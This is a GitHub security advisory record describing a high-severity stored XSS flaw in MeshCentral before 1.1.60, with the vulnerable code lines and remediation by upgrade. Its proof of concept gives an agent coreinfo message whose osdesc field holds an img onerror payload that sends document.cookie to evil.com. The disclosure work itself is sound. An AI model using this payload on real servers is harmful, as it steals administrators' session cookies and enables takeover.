{"id":"GHSA-c7hr-448w-65px","title":"MeshCentral has unsanitized data fields","summary":"MeshCentral has unsanitized data fields","severity":"high","cvss":8.3,"cwe":["CWE-20","CWE-74"],"vendor":"meshcentral","product":"meshcentral","ecosystem":"npm","affected":["meshcentral < 1.1.60"],"patched":["meshcentral 1.1.60"],"published":"2026-08-18","updated":"2026-08-18","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-c7hr-448w-65px","references":[{"url":"https://github.com/Ylianst/MeshCentral/security/advisories/GHSA-c7hr-448w-65px"},{"url":"https://github.com/Ylianst/MeshCentral/releases/tag/1.1.60"},{"url":"https://github.com/advisories/GHSA-c7hr-448w-65px"}],"tags":["ghsa","npm"],"ingestedAt":"2026-08-18T20:22:15.737Z","slug":"GHSA-c7hr-448w-65px","body":"## Overview\n\n### Description\n\nA rogue or compromised MeshAgent can inject arbitrary HTML/JavaScript via the osdesc (OS description) field in its coreinfo message. The server stores this value with zero HTML sanitization (meshagent.js:1903 only checks typeof == 'string'). When an admin views the\ndevice details panel, the value is rendered via addDeviceAttribute() → QH() which sets innerHTML, executing the payload in the admin's browser session. The main management UI CSP includes 'unsafe-inline' (webserver.js:7072), so inline event handlers and script execution are unrestricted.\n\n### Technical Details\n\n```javascript\n// meshagent.js:1903 -- Agent input, only type check\nif (typeof command.osdesc == 'string') { device.osdesc = command.osdesc;\nchange = 1; }\n\n// default3.handlebars:8713 -- Rendered WITHOUT EscapeHtml()\nif (node.osdesc) { x += addDeviceAttribute(\"Operating System\", node.osdesc); }\n// addDeviceAttribute() interpolates into HTML string, QH() sets innerHTML\n\n// INCONSISTENCY: Same field IS escaped elsewhere:\n// Line 13529: addDetailItem(\"Version\", EscapeHtml(node.osdesc), s)\n// Line 5760: EscapeHtml(node.osdesc ? node.osdesc : '')\n```\n\nAdditional unescaped agent fields:\n\n- node.name unescaped in sharing dialog (line 4695), user group list (line 18625),\npermission dialogs (lines 18675, 19413) -- HIGH\n- cpuinfo.thermals[].InstanceName attribute injection (line 13502) -- MEDIUM\n- volumes[].name unescaped in file browser (line 12612) -- MEDIUM\n\nNo server-side defense: CloneSafeNode() strips secrets but not XSS. validateObjectForMongo() only enforces length limits (1024 chars). No HTML sanitation exists anywhere in the agent→DB→UI pipeline.\n\n### Proof of Concept\n\nRogue agent sends via WebSocket:\n\n```json\n{\n  \"action\": \"coreinfo\",\n  \"osdesc\": \"<img src=x onerror='fetch(\\\"https://evil.com/steal?\\\"+document.cookie)'>\",\n  \"name\": \"Legit-PC\"\n}\n```\n\nPayload fires when any admin views the device details panel. No click required.\n\n<img width=\"939\" height=\"587\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ba372bb-73be-477b-95ca-fa5fc247f8f1\" />\n\n## Affected packages\n\n- `meshcentral < 1.1.60`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `meshcentral 1.1.60`","depth":"twilight","depthScore":46,"depthScoreParts":{"impact":45.7,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}